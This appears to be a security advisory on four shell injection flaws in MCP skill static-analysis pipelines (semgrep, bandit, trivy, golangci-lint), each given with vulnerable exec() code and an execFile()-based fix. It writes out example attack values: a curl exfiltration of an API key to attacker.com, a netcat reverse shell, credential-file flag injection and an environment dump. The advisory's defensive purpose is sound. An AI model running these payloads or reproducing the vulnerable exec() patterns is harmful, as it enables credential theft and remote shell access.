Claude MCP skill code injection — skill static analysis and linting pipeline endpoints — SA-SKL-INJECTION33
SA-SKL-INJECTION33 documents four shell injection vulnerabilities in MCP skill registry static analysis and linting pipeline endpoints. Static analysis runners are a high-risk injection surface: they invoke external binaries with paths and configuration parameters, those parameters frequently originate from user-controlled input, and the scan worker processes hold sensitive credentials needed for LLM-assisted analysis. Using child_process.exec() with string interpolation instead of execFile() with argument arrays turns every unsanitized parameter into a shell injection gadget. All four findings exploit the same root cause — string concatenation into shell commands — across four different static analysis tools in the SkillAudit audit pipeline.
exec(`semgrep --config ${ruleConfig} ${targetDir}`); attacker ruleConfig with ; cat /etc/secrets/ANTHROPIC_API_KEY exfiltrates Anthropic API key used for LLM-assisted prompt-injection analysisexec(`bandit -r ${sourceDir} -f ${outputFormat}`); attacker outputFormat with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell on the scan workerexec(`trivy fs ${scanPath} --format ${fmt}`); attacker scanPath injects --config=/app/secrets/trivy-token.yaml reading Trivy OCI registry credentials used for private image scanningexec(`golangci-lint run ${lintDir} --config ${configPath}`); attacker configPath with ; env > /tmp/out.txt exfiltrates all process environment variables including CI tokens and database URLsINJECTION33-001 — semgrep exec injection exfiltrates Anthropic API key
The static analysis pipeline invokes semgrep to run SAST rules against submitted skill source code. The rule configuration parameter — which specifies which semgrep rule set to apply — is interpolated directly into an exec() shell command string. Node.js child_process.exec() passes its first argument to /bin/sh -c, which interprets semicolons, pipes, backticks, and subshell operators as command separators. An attacker submitting a skill for audit with a crafted ruleConfig value of p/security; cat /etc/secrets/ANTHROPIC_API_KEY | curl -d @- attacker.com causes the shell to execute both the semgrep command and the exfiltration command in the same shell session.
The Anthropic API key stored at /etc/secrets/ANTHROPIC_API_KEY is used by the SkillAudit audit engine for LLM-assisted prompt-injection red-teaming — the feature that uses Claude to simulate adversarial prompt inputs against the submitted skill. Exfiltrating this key gives the attacker the ability to run arbitrary Claude API calls billed to the SkillAudit account, access any audit session context that the key has been used to create, and potentially influence or corrupt the LLM-assisted analysis of other users' skills by using the same API key with crafted system prompts.
INJECTION33-001 fix: Replace exec() with execFile() and pass arguments as a string array. Allowlist ruleConfig against a set of known semgrep preset identifiers (/^p\/(security|javascript|python|typescript)$/) — reject any value that does not match. Use realpathSync and a directory containment check for targetDir.
const { exec } = require('child_process');
function runSemgrep(ruleConfig, targetDir) {
return new Promise((resolve, reject) => {
// ruleConfig and targetDir interpolated directly — shell injection
exec(`semgrep --config ${ruleConfig} ${targetDir}`, (err, stdout) => {
if (err) reject(err); else resolve(stdout);
});
});
}
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');
const ALLOWED_RULE_CONFIGS = new Set(['p/security', 'p/javascript', 'p/python', 'p/typescript', 'p/owasp-top-ten']);
const SCAN_ROOT = '/var/scan/workspaces';
function runSemgrep(ruleConfig, targetDir) {
if (!ALLOWED_RULE_CONFIGS.has(ruleConfig)) {
throw new Error(`ruleConfig '${ruleConfig}' not in allowlist`);
}
const realTarget = fs.realpathSync(targetDir);
if (!realTarget.startsWith(SCAN_ROOT)) {
throw new Error('targetDir outside scan root');
}
return new Promise((resolve, reject) => {
execFile('semgrep', ['--config', ruleConfig, realTarget], (err, stdout) => {
if (err) reject(err); else resolve(stdout);
});
});
}
INJECTION33-002 — bandit outputFormat injection establishes reverse shell
The Python static analysis step invokes bandit with a user-influenced outputFormat parameter that specifies the output format for the scan results (json, txt, csv, or xml). This parameter is interpolated into an exec() call without validation. An attacker crafts outputFormat as json; nc attacker.com 4444 -e /bin/sh. The shell executes the bandit command followed by a netcat reverse shell spawned from the scan worker. The reverse shell runs with the full privileges of the scan worker process, which typically has filesystem access to the submitted skill source code, access to scan credentials, and network access to the internal registry API.
INJECTION33-002 fix: Replace exec() with execFile(). Validate outputFormat against a strict allowlist regex /^(json|txt|csv|xml)$/ before use. Apply realpathSync containment to sourceDir. Never use user-supplied format strings as direct arguments to security tool invocations.
// WRONG — outputFormat interpolated into exec string
exec(`bandit -r ${sourceDir} -f ${outputFormat}`, callback);
// RIGHT — execFile with validated format and contained path
const FORMAT_RE = /^(json|txt|csv|xml)$/;
if (!FORMAT_RE.test(outputFormat)) throw new Error('invalid output format');
const realSource = fs.realpathSync(sourceDir);
if (!realSource.startsWith(SCAN_ROOT)) throw new Error('sourceDir outside scan root');
execFile('bandit', ['-r', realSource, '-f', outputFormat], callback);
INJECTION33-003 — trivy scanPath injection reads OCI registry credentials
The container image scanning step invokes trivy with a user-supplied scanPath. Because exec() passes the full string to the shell, an attacker can inject additional trivy flags by embedding spaces followed by flag names in the path value. A scanPath of /var/scan/workspaces/abc123 --config=/app/secrets/trivy-token.yaml causes trivy to read its configuration from the secrets file instead of the default config. The trivy configuration file at that path contains OCI registry credentials used for scanning private container images. Trivy includes these credentials in its JSON output, which the scan pipeline stores in the audit result and returns to the requesting user.
INJECTION33-003 fix: Replace exec() with execFile() — this prevents flag injection via space-separated arguments since execFile() does not invoke a shell. Apply realpathSync containment to scanPath. Pass --config as a fixed server-side argument using an absolute path that cannot be overridden by user input.
// WRONG — scanPath with injected flags overrides --config
exec(`trivy fs ${scanPath} --format ${fmt}`, callback);
// RIGHT — execFile with contained path; --config fixed server-side
const realScan = fs.realpathSync(scanPath);
if (!realScan.startsWith(SCAN_ROOT)) throw new Error('scanPath outside scan root');
const FORMAT_RE = /^(json|table|sarif)$/;
if (!FORMAT_RE.test(fmt)) throw new Error('invalid format');
// --config is a fixed server-side path; user cannot override it
execFile('trivy', ['fs', realScan, '--format', fmt, '--config', '/etc/trivy/trivy.yaml'], callback);
INJECTION33-004 — golangci-lint configPath injection exfiltrates environment variables
The Go linting step invokes golangci-lint with both a lintDir and a configPath that specifies which linter configuration to apply. Both parameters are interpolated into an exec() call. An attacker submitting a Go skill for audit crafts configPath as /path/to/config.yml; env > /tmp/out.txt. The shell executes golangci-lint with the legitimate config path, then dumps all environment variables to /tmp/out.txt. The scan pipeline subsequently reads /tmp/out.txt as part of its cleanup and reporting step, returning the env dump in the audit result. Process environment variables in a scan worker typically include DATABASE_URL, REDIS_URL, CI service account tokens, and cloud provider credential variables.
INJECTION33-004 fix: Replace exec() with execFile(). Apply realpathSync containment to both lintDir and configPath. Validate configPath against an allowlist of preset linter configurations stored at a fixed server-side path prefix. Never accept arbitrary filesystem paths for configuration files from user-controlled input.
// WRONG — both lintDir and configPath interpolated into exec
exec(`golangci-lint run ${lintDir} --config ${configPath}`, callback);
// RIGHT — execFile with contained paths; configPath allowlisted to preset configs
const LINT_CONFIGS = {
'default': '/etc/golangci/default.yml',
'strict': '/etc/golangci/strict.yml',
'minimal': '/etc/golangci/minimal.yml',
};
if (!LINT_CONFIGS[configPreset]) throw new Error('invalid linter config preset');
const realLint = fs.realpathSync(lintDir);
if (!realLint.startsWith(SCAN_ROOT)) throw new Error('lintDir outside scan root');
execFile('golangci-lint', ['run', realLint, '--config', LINT_CONFIGS[configPreset]], callback);
SkillAudit scans for child_process.exec() calls with interpolated parameters in static analysis and linting pipeline code, missing parameter allowlists on tool invocations, and absent realpathSync containment checks — the three patterns that turn an audit runner into a shell injection target.
| Finding | Severity | Tool | Impact |
|---|---|---|---|
| INJECTION33-001 | CRITICAL | semgrep via ruleConfig | Anthropic API key exfiltrated; LLM audit analysis corrupted; API billing abuse |
| INJECTION33-002 | CRITICAL | bandit via outputFormat | Reverse shell on scan worker; full filesystem and credential access |
| INJECTION33-003 | CRITICAL | trivy via scanPath | Trivy OCI registry credentials read and returned in audit result |
| INJECTION33-004 | CRITICAL | golangci-lint via configPath | All process environment variables exfiltrated including database URLs and CI tokens |
See also: SA-SKL-INJECTION32 (container build and OCI image push injection patterns) for related shell injection vulnerabilities in the skill container build pipeline.